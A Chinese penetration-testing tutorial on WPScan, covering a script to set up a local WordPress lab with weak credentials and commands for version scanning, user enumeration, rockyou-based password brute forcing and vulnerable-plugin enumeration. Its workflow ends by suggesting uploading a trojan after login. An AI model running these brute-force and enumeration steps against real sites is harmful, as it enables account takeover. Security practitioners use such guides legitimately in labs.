WPScan 实战完整笔记(含环境搭建 + 避坑指南 + 命令手册)

一、环境搭建(100% 成功版)

1. 前置准备:停止冲突服务

bash

运行

复制代码
# 杀掉占用8080端口的进程(避免PHP服务冲突)
killall php
# 确保Apache/MySQL未运行(后续脚本会重新配置)
systemctl stop apache2 mysql

2. 一键搭建 WordPress + MySQL 环境(复制全量执行)

bash

运行

复制代码
#!/bin/bash
# 1. 更新系统并安装依赖(解决PHP/MySQL依赖缺失问题)
apt update && apt install -y apache2 mysql-server php8.4 php8.4-mysql libapache2-mod-php8.4 unzip wget -y

# 2. 启动服务并设置开机自启(避免重启后服务失效)
systemctl start apache2 mysql
systemctl enable apache2 mysql

# 3. 自动配置MySQL数据库(免手动输入SQL命令)
# 创建WP专用数据库、用户、密码(记死:wpdb/wpuser/wppass123)
mysql -u root -e "CREATE DATABASE IF NOT EXISTS wpdb;
CREATE USER IF NOT EXISTS 'wpuser'@'localhost' IDENTIFIED BY 'wppass123';
GRANT ALL PRIVILEGES ON wpdb.* TO 'wpuser'@'localhost';
FLUSH PRIVILEGES;"

# 4. 下载并部署WordPress(国内源,速度快)
wget https://cn.wordpress.org/wordpress-6.6.2-zh_CN.tar.gz -O /tmp/wp.tar.gz
rm -rf /var/www/html/wordpress  # 删除旧目录(避免残留配置冲突)
mkdir -p /var/www/html/wordpress
tar -zxvf /tmp/wp.tar.gz -C /var/www/html/wordpress --strip-components=1

# 5. 自动生成wp-config.php(无需手动修改配置文件)
cp /var/www/html/wordpress/wp-config-sample.php /var/www/html/wordpress/wp-config.php
sed -i 's/database_name_here/wpdb/g' /var/www/html/wordpress/wp-config.php  # 数据库名
sed -i 's/username_here/wpuser/g' /var/www/html/wordpress/wp-config.php    # 数据库用户名
sed -i 's/password_here/wppass123/g' /var/www/html/wordpress/wp-config.php# 数据库密码

# 6. 修复权限(解决PHP无法读写文件的问题)
chown -R www-data:www-data /var/www/html/wordpress
chmod -R 755 /var/www/html/wordpress

# 7. 重启服务并启动PHP内置服务器(双保险,确保可访问)
systemctl restart apache2 mysql
cd /var/www/html/wordpress
php -S 127.0.0.1:8080 &  # 后台运行,不占用终端

# 输出环境信息(方便后续查阅)
echo "====================================="
echo "环境搭建完成!访问 http://127.0.0.1:8080 完成WP安装"
echo "MySQL数据库信息:"
echo "  库名:wpdb"
echo "  用户名:wpuser"
echo "  密码:wppass123"
echo "WordPress安装路径:/var/www/html/wordpress"
echo "====================================="

3. 完成 WordPress 安装(浏览器操作)

  1. 打开浏览器访问 http://127.0.0.1:8080
  2. 填写站点信息(随意填写,如站点名称 "测试站")
  3. 创建管理员账号(务必记死 ,示例:用户名wpuser,密码123456
  4. 点击 "安装 WordPress",10 秒完成安装

4. 环境验证(确保 WP 正常运行)

  • 访问 http://127.0.0.1:8080/wp-admin,用账号wpuser/123456登录成功 → 环境正常

  • 若登录失败,执行以下命令重置密码(直接操作数据库): bash

    运行

    复制代码
    # 重置wpuser用户密码为123456(MD5加密,WP兼容)
    mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('123456') WHERE user_login = 'wpuser';"

二、WPScan 核心命令(无错版)

1. 基础信息扫描(识别 WP 版本 / 主题 / 插件)

bash

运行

复制代码
wpscan --url http://127.0.0.1:8080 --disable-tls-checks
关键输出解读:
  • WordPress version 6.6.2 identified:识别到 WP 版本(可查对应漏洞)
  • WordPress theme in use: twentytwentytwo:识别到使用的主题(若版本过时则有漏洞)
  • XML-RPC seems to be enabled:XML-RPC 功能开启(可作为爆破入口)

2. 用户枚举(确认真实管理员账号)

bash

运行

复制代码
wpscan --url http://127.0.0.1:8080 --enumerate u --disable-tls-checks
作用:避免盲目爆破(实战中必须先枚举用户,再破解密码)
预期输出:

plaintext

复制代码
[+] User(s) Identified:
    +----+-------+----------+
    | ID | Login | Name     |
    +----+-------+----------+
    | 1  | wpuser| 管理员   |
    +----+-------+----------+

3. 暴力破解(获取管理员密码)

前置:解压 Kali 自带密码字典(默认是压缩包)

bash

运行

复制代码
# 若提示rockyou.txt不存在,执行解压命令
gunzip /usr/share/wordlists/rockyou.txt.gz
破解命令(一字不差复制)

bash

运行

复制代码
wpscan --url http://127.0.0.1:8080 --usernames wpuser --passwords /usr/share/wordlists/rockyou.txt --max-threads 10 --disable-tls-checks
快速验证命令(用小字典秒出结果)

bash

运行

复制代码
# 1. 创建只包含正确密码的小字典(避免等大字典)
echo "123456" > /tmp/my-pass.txt
# 2. 用小字典破解(秒出结果)
wpscan --url http://127.0.0.1:8080 --usernames wpuser --passwords /tmp/my-pass.txt --max-threads 10 --disable-tls-checks
成功标志:

plaintext

复制代码
[SUCCESS] - wpuser / 123456
[!] Valid Combinations Found:
 | Username: wpuser, Password: 123456

4. 漏洞扫描(识别插件 / 主题漏洞)

bash

运行

复制代码
# 枚举有漏洞的插件(vp=vulnerable plugins)和主题(vt=vulnerable themes)
wpscan --url http://127.0.0.1:8080 --enumerate vp,vt --disable-tls-checks
说明:需注册 WPScan API Token 才能查看详细漏洞信息(免费注册:https://wpscan.com/register

5. 结果导出(方便打印存档)

bash

运行

复制代码
wpscan --url http://127.0.0.1:8080 --enumerate u,vp,vt --output wpscan-result.txt --format txt --disable-tls-checks
  • 导出文件路径:当前目录下的wpscan-result.txt
  • 格式:纯文本,可直接打印

三、高频踩坑指南(按出现频率排序)

1. 环境类错误

错误现象 原因 解决方案
访问http://127.0.0.1:8080提示 "数据库连接失败" wp-config.php 中数据库信息配置错误 1. 执行命令验证数据库信息:mysql -u wpuser -p wppass123 -e "USE wpdb;"(无报错则数据库正常)2. 重新生成 wp-config.php:cp /var/www/html/wordpress/wp-config-sample.php /var/www/html/wordpress/wp-config.php,手动修改数据库名、用户名、密码
PHP 内置服务器启动失败(提示 "Address already in use") 8080 端口被占用 1. 查找占用进程:lsof -i :80802. 杀掉进程:kill -9 进程ID3. 重新启动:cd /var/www/html/wordpress && php -S 127.0.0.1:8080 &
WordPress 安装时提示 "无法创建目录" 目录权限不足 执行权限修复命令:chown -R www-data:www-data /var/www/html/wordpress && chmod -R 755 /var/www/html/wordpress

2. WPScan 参数错误(最容易踩坑)

错误命令 错误原因 正确命令
wpscan --url 目标 --username admin 用户名参数应为复数--usernames wpscan --url 目标 --usernames admin
wpscan --url 目标 --usernames admin --wordlist 字典路径 密码字典参数应为--passwords(WPScan 无--wordlist参数) wpscan --url 目标 --usernames admin --passwords 字典路径
wpscan --url 目标 --usernames admin --passwords 字典路径 --threads 10 线程数参数应为--max-threads(无--threads参数) wpscan --url 目标 --usernames admin --passwords 字典路径 --max-threads 10
wpscan --url 目标 --enumerate u 本地站点缺少 HTTPS 校验跳过参数 wpscan --url 目标 --enumerate u --disable-tls-checks

3. 爆破失败错误

错误现象 原因 解决方案
No Valid Passwords Found(小字典也失败) 1. 用户名错误2. 密码与字典不匹配3. WP 密码未重置 1. 枚举用户确认正确用户名:wpscan --url 目标 --enumerate u --disable-tls-checks2. 重置 WP 密码:mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('123456') WHERE user_login = '正确用户名';"3. 用小字典验证:echo "123456" > /tmp/my-pass.txt && wpscan --url 目标 --usernames 正确用户名 --passwords /tmp/my-pass.txt --disable-tls-checks
爆破速度极慢(ETA 几小时) 1. 字典过大(rockyou.txt 有 1400 万条)2. 线程数过低 1. 用小字典或定制字典(如cewl生成)2. 提高线程数(最大 50,避免被封禁):--max-threads 50
Scan Aborted: Unable to identify the wp-content dir WPScan 无法找到 WP 核心目录 手动指定 wp-content 目录:wpscan --url 目标 --wp-content-dir wp-content --force --disable-tls-checks

4. 其他错误

错误现象 原因 解决方案
Could not resolve hostname DNS 解析失败 配置国内 DNS:nano /etc/resolv.conf,添加nameserver 223.5.5.5(阿里云 DNS)和nameserver 8.8.8.8(Google DNS),保存后测试:ping baidu.com
zsh: corrupt history file /root/.zsh_history zsh 历史文件损坏 删除损坏文件并重启 zsh:rm /root/.zsh_history && exec zsh

四、实战流程总结(渗透测试思路)

  1. 环境准备:搭建 WP+MySQL 环境(用本文提供的一键脚本,避免配置错误)
  2. 信息收集wpscan --url 目标 --disable-tls-checks → 识别 WP 版本、主题、插件、XML-RPC 状态
  3. 用户枚举wpscan --url 目标 --enumerate u --disable-tls-checks → 确认真实管理员账号
  4. 漏洞扫描wpscan --url 目标 --enumerate vp,vt --disable-tls-checks → 查找可利用的插件 / 主题漏洞
  5. 暴力破解 :用枚举到的用户名 + 字典破解 → wpscan --url 目标 --usernames 用户名 --passwords 字典路径 --max-threads 20 --disable-tls-checks
  6. 结果导出--output 文件名 --format txt → 打印存档,构建知识库
  7. 后续操作:用破解的账号登录 WP 后台,上传木马提权(进阶内容)

五、关键知识点记忆(必背)

  1. WP 数据库核心表:wp_users(存储用户账号和密码哈希)
  2. WPScan 三大核心功能:信息收集、用户枚举、暴力破解
  3. 必加参数:--disable-tls-checks(本地 / 测试站点)、--wp-content-dir wp-content(解决目录识别失败)
  4. 密码重置命令(测试环境):mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('新密码') WHERE user_login = '用户名';"
  5. 字典路径(Kali 自带):/usr/share/wordlists/rockyou.txt(需解压)

六、工具版本信息

  • WPScan 版本:3.8.28(本文命令适配该版本,其他版本参数一致)
  • WordPress 版本:6.6.2(稳定版,漏洞较多,适合测试)
  • PHP 版本:8.4.16(兼容 WP6.6.2)
  • MySQL 版本:Kali 默认自带版本(无需额外配置)
相关推荐
想唱rap2 小时前
MySQL内置函数
linux·运维·服务器·数据库·c++·mysql
CQ_YM2 小时前
SQLite3 数据库与网页html
c语言·数据库·sqlite·html
isNotNullX2 小时前
什么是云计算?一文讲清云计算的概念与作用
数据库·云计算·企业管理
北京地铁1号线2 小时前
1.4 RAG中的Schema
数据库·rag
MicroTech20252 小时前
后量子密码算法集成:微算法科技(NASDAQ: MLGO)构建区块链安全防护的量子盾牌
科技·安全·区块链
技术不打烊2 小时前
从 MySQL 到 PG,你需要跨越的几道语法“鸿沟”
数据库·mysql·postgresql
五阿哥永琪2 小时前
MySQL 索引原理与优化实战指南:从失效场景到联合索引设计
数据库·mysql
desert_xu2 小时前
ORA-20079 错误栗子
数据库·oracle